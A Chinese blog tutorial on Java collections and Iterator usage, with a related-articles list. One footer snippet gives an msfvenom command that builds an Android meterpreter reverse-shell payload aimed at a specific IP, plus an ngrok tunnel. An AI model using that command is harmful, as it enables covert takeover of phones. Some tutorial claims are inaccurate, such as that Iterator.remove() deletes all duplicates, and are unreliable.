linkin大话数据结构--Collection和Iterator



Java 集合就像一种容器,可以把多个对象的引用放入容器中。Java 集合类可以用于存储数量不等的多个对象,还可用于保存具有映射关系的关联数组。Java 集合可分为 Set、List 和 Map 三种体系

1,Set:无序、不可重复的集合

2,List:有序,可重复的集合

3,Map:具有映射关系的集合

在 Java5 之前,Java 集合会丢失容器中所有对象的数据类型,把所有对象都当成 Object 类型处理;从 Java5 增加了泛型以后,Java 集合可以记住容器中对象的数据类型



  • 为什么出现集合类?

面向对象语言对事物的体现都是以对象的形式,所以为了方便对多个对象的操作,就要对对象进行存储,集合和数组就是存储对象最常用的两种方式。那么问题来了:数组和集合类同是容器,有何不同?

1,数组中可以存储任意数据类型,集合只能存储对象。

2,数组能装也只能装同一种数据类型的数据,而且长度是固定的;集合只用于存储对象,可以装不同类型的对象,并且长度是可变的。



Java集合类主要由两个接口派生出来:Collection,Map这2个接口。

注意:在“集合框架”中,Map 和Collection 没有任何亲缘关系。     Map的典型应用是访问按关键字存储的值。它支持一系列集合操作,但操作的是键-值对,而不是独立的元素。    因此 Map 需要支持 get() 和 put() 的基本操作,而 Set 不需要。 

  • Collection:   集合中每一个元素为一个对象,这个接口将这些对象组织在一起,形成一维结构。最常用的几个接口如下:

1,Set:不能存放重复对象,无序

HashSet:      用 hashCode() 加 equals() 比较是否重复

      SortedSet:    会按照数字将元素排列,为“可排序集合”默认升序

      TreeSet:      按二叉树排序(效率非常高); 按Comparable接口的 compareTo() 比较是否重复

2,List:可存放重复对象,有序

ArrayList:    数组。查询快,增删慢。(List是链表)

      Vector:       线程安全,但效率很差(现实中基本不用)

3,Queue:队列:先进先出

PriorityQueue:   优先队列:元素按照其自然顺序进行排序,或者根据构造队列时提供的 Comparator 进行排序

4,map:其中每一个元素都是一个键值对( Key-Value)。键不能重复。可有一个空键。

SortedMap:    根据 key 值排序的 Map。

      HashMap:      用 hashCode() 加 equals() 比较是否重复





Collection接口常用方法:

boolean add(Object o):该方法用于向集合里面添加一个元素,若集合对象被添加操作改变了,返回true.

boolean addAll(Collection c):把集合c里面的所有元素添加到指定集合里面去,如果集合对象被添加操作改变了返回true.

void clear():清除集合里面的所有元素,将集合长度变为0。

boolean contains(Object o):返回集合里是否包含指定的元素。

boolean containsAll(Collection c):返回集合里是否包含集合c内所有的元素。

boolean isEmpty():返回集合是否为空(长度是否为0)。

Iterator iterator():返回一个Iterator对象,用于遍历集合里的元素。

boolean remove(Object o):删除集合中指定元素o。

boolean removeAll(Collection c):从集合中删除集合c里面的元素。若删除一个或以上返回true。

boolean retainAll(Collection c):从集合中删除集合c里不包含的元素。

int size():得到集合元素的个数。

Object[] toArray():把集合转成一个数组,所有集合元素编程数组元素。

关于集合的操作有:增加、删除、遍历、排序。增加和删除不做赘述,现在就开始整理遍历最常用的操作,关于排序在后面有专门做整理。

1,使用 Iterator 接口遍历集合元素。Enumeration 接口是 Iterator 迭代器的 “古老版本”。

2,使用 foreach 循环遍历集合元素。Java 5 提供了 foreach 循环迭代访问 Collection。

关于2者:iterator对于集合才能用,for不同,只要是循环都可用。代码如下:

import java.util.Collection;
import java.util.HashSet;
import java.util.Iterator; /**
*
* @version 1L
* @author LinkinPark
* @since 2014-11-10
* @motto 梦似烟花心似水,同学少年不言情
* @desc ^Iterator仅仅用来遍历集合,本身并不提供承装对象的能力,如果需要创建Iterator对象,必须要有一个被迭代的对象, 没有集合的Iterator仿佛无本之木,没有存在的价值,
* 在迭代过程中,Iterator并不是把集合元素的本身传给迭代变量,而是把集合元素的值传给了迭代变量,所以修改迭代变量的值对集合元素本身没有任何的影响。
*/
public class Linkin
{
public static void main(String[] args)
{
//创建一个集合
Collection<String> names = new HashSet<String>();
names.add("LinkinPark");
names.add("Binger");
//获得上面set对应的迭代器
Iterator<String> it = names.iterator();
while(it.hasNext())
{
String name = it.next();
System.out.println(name);
if("LinkinPark".equals(name)){
//当使用Iterator访问Collection集合元素时,集合里面的元素不能改变,必须要使用Iterator的remove方法才行。使用增强的for循环也是一样
//names.remove(name); //java.util.ConcurrentModificationException
it.remove();
}
//对name变量赋值,不会改变集合元素本身
name = "LinkinPark...";
}
System.out.println(names);
//使用增强的for循环。
for (String string : names)
{
System.out.println(string);
}
} }

以下是Iterator接口的说明:

Iterator 接口主要用于遍历 Collection 集合中的元素,Iterator 对象也被称为迭代器。Iterator 接口隐藏了各种 Collection 实现类的底层细节,向应用程序提供了遍历 Collection 集合元素的统一编程接口

Iterator 仅用于遍历集合,Iterator 本身并不提供承装对象的能力。如果需要创建 Iterator 对象,则必须有一个被迭代的集合。Iterator主要遍历Collection集合中的元素,也有称为迭代器或迭代精灵。

boolean hasNext():若被迭代的集合元素还没有被遍历,返回true。

Object  next():返回集合的下一个元素。迭代器的next方法是自动向下取元素,要避免出现NoSuchElementException。

void remove():删除集合上一次next()方法返回的元素。(若集合中有多个相同的元素,都可以删掉)。















linkin大话数据结构--Collection和Iterator的更多相关文章

  1. linkin大话数据结构--Google commons工具类

    package tz.web.dao.bean; import java.util.Arrays; import java.util.Collection; import java.util.List ...

  2. linkin大话数据结构--List

    List:Collection子接口 List是有序的集合,集合中每个元素都有对应的顺序序列.List集合可使用重复元素,可以通过索引来访问指定位置的集合元素(顺序索引从0开始),List集合默认按元 ...

  3. linkin大话数据结构--泛型

    泛型(Generic) 什么是泛型? java5开始出现的一种对Java语言类型的一种拓展,以支持创建可以按类型进行参数化的类.可以把类型参数看作是使用参数类型时指定的类型占位符,就好比方法的形式参数 ...

  4. linkin大话数据结构--apache commons工具类

    Apache Commons包含了很多开源的工具,用于解决平时编程经常会遇到的问题,减少重复劳动. 一.Commons BeanUtils 说明:针对Bean的一个工具集.由于Bean往往是有一堆ge ...

  5. linkin大话数据结构--Map

    Map 映射关系,也有人称为字典,Map集合里存在两组值,一组是key,一组是value.Map里的key不允许重复.通过key总能找到唯一的value与之对应.Map里的key集存储方式和对应的Se ...

  6. linkin大话数据结构--Queue

    链表(Linked list)是一种常见的基础数据结构,是一种线性表,但是并不会按线性的顺序存储数据,而是在每一个节点里存到下一个节点的指针(Pointer).由于不必按顺序存储,所以插入和删除速度超 ...

  7. linkin大话数据结构--Set

    Set 集合 Set 集合不允许包含相同的元素,如果试把两个相同的元素加入同一个 Set 集合中,则添加操作失败. Set 判断两个对象是否相同不是使用 == 运算符,而是根据 equals 方法.也 ...

  8. linkin大话数据结构--字符串,数组,list之间的互转

    在实际开发中,我们经常会用到字符串,字符数组,字符list,当然也会不可避免的进行这3者之间的互相转换. 在使用到Apache和Google下的common包,可以这样子实现: package tz. ...

  9. linkin大话数据结构--Collections类

    操作集合的工具类:Collections Collections 是一个操作 Set.List 和 Map 等集合的工具类.Collections 中提供了大量方法对集合元素进行排序.查询和修改等操作 ...

随机推荐

  1. append和extend 的区别

    l = ["zhy",666] l.extend(["edit","sdd"]) print(l) #['zhy', 666, 'edit' ...

  2. VS2017编译SFML SDK配制环境详解

    SFML和Visual Studio 介绍 如果您在Visual Studio IDE(Visual C ++编译器)中使用SFML,本教程是第一个应该阅读的教程.它将解释如何配置您的SFML项目. ...

  3. 深入理解JVM(六)——类加载器原理

    我们知道我们编写的java代码,会经过编译器编译成字节码文件(class文件),再把字节码文件装载到JVM中,映射到各个内存区域中,我们的程序就可以在内存中运行了.那么字节码文件是怎样装载到JVM中的 ...

  4. 移动端吸顶(iOS与安卓)

    有的时候经常会遇到移动端吸顶效果,开始我也只是上网查了一下,分别有iOS和android两种样式,如下: /*!*Android*!*/ .head { position: fixed; top: 0 ...

  5. Django的生命周期图解

    下边的图就是一次完整的django生命周期,从客户端输入url,经过wsgi模块处理,得到符合HTTP协议的字符串,走中间件,假如中间件return None,继续往下走到urls......; 假如 ...

  6. 从头开始基于Maven搭建SpringMVC+Mybatis项目(3)

    接上文内容,本节介绍基于Mybatis的查询和分页功能,并展示一个自定义的分页标签,可重复使用以简化JSP页面的开发. 从头阅读传送门 在上一节中,我们已经使用Maven搭建好了项目的基础结构,包括一 ...

  7. vue-cli完整地引入element-ui

    1因为该组件会依赖于jQuery,所以先安装jQuery所需依赖: 进入npm控制台,输入指令: cnpm install jquery --save-dev 然后在入口文件main.js中引入: i ...

  8. 1c19b35b005744d55261682b361804fa 这个是MD5

    1c19b35b005744d55261682b361804fa   这个是MD51c19b35b005744d55261682b361804fa   这个是MD51c19b35b005744d552 ...

  9. msfconsole弄外网手机木马

    创建个通道./ngrok tcp 1113 msfvenom -p android/meterpreter/reverse_tcp LHOST=52.15.62.13 LPORT=17016 R &g ...

  10. Gym 100952F&&2015 HIAST Collegiate Programming Contest F. Contestants Ranking【BFS+STL乱搞(map+vector)+优先队列】

    F. Contestants Ranking time limit per test:1 second memory limit per test:24 megabytes input:standar ...